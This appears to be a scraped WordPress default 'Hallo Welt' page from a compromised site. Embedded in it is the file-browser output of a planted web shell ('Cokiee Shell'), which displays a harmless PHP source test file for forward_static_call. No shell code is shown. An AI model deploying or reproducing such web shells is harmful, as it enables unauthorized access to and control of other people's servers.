Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /usr/local/src/php7/php-7.0.5/ext/standard/tests/class_object/ |
Current File : //usr/local/src/php7/php-7.0.5/ext/standard/tests/class_object/forward_static_call_001.phpt |
--TEST-- forward_static_call() called from outside of a method. --FILE-- <?php class A { const NAME = 'A'; public static function test() { echo static::NAME, "\n"; } } class B extends A { const NAME = 'B'; public static function test() { echo self::NAME, "\n"; forward_static_call(array('parent', 'test')); } public static function test2() { echo self::NAME, "\n"; forward_static_call(array('self', 'test')); } public static function test3() { echo self::NAME, "\n"; forward_static_call(array('A', 'test')); } } class C extends B { const NAME = 'C'; public static function test() { echo self::NAME, "\n"; forward_static_call(array('A', 'test')); } } A::test(); echo "-\n"; B::test(); echo "-\n"; B::test2(); echo "-\n"; B::test3(); echo "-\n"; C::test(); echo "-\n"; C::test2(); echo "-\n"; C::test3(); ?> ===DONE=== --EXPECTF-- A - B B - B B B - B B - C C - B B C - B C ===DONE===
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare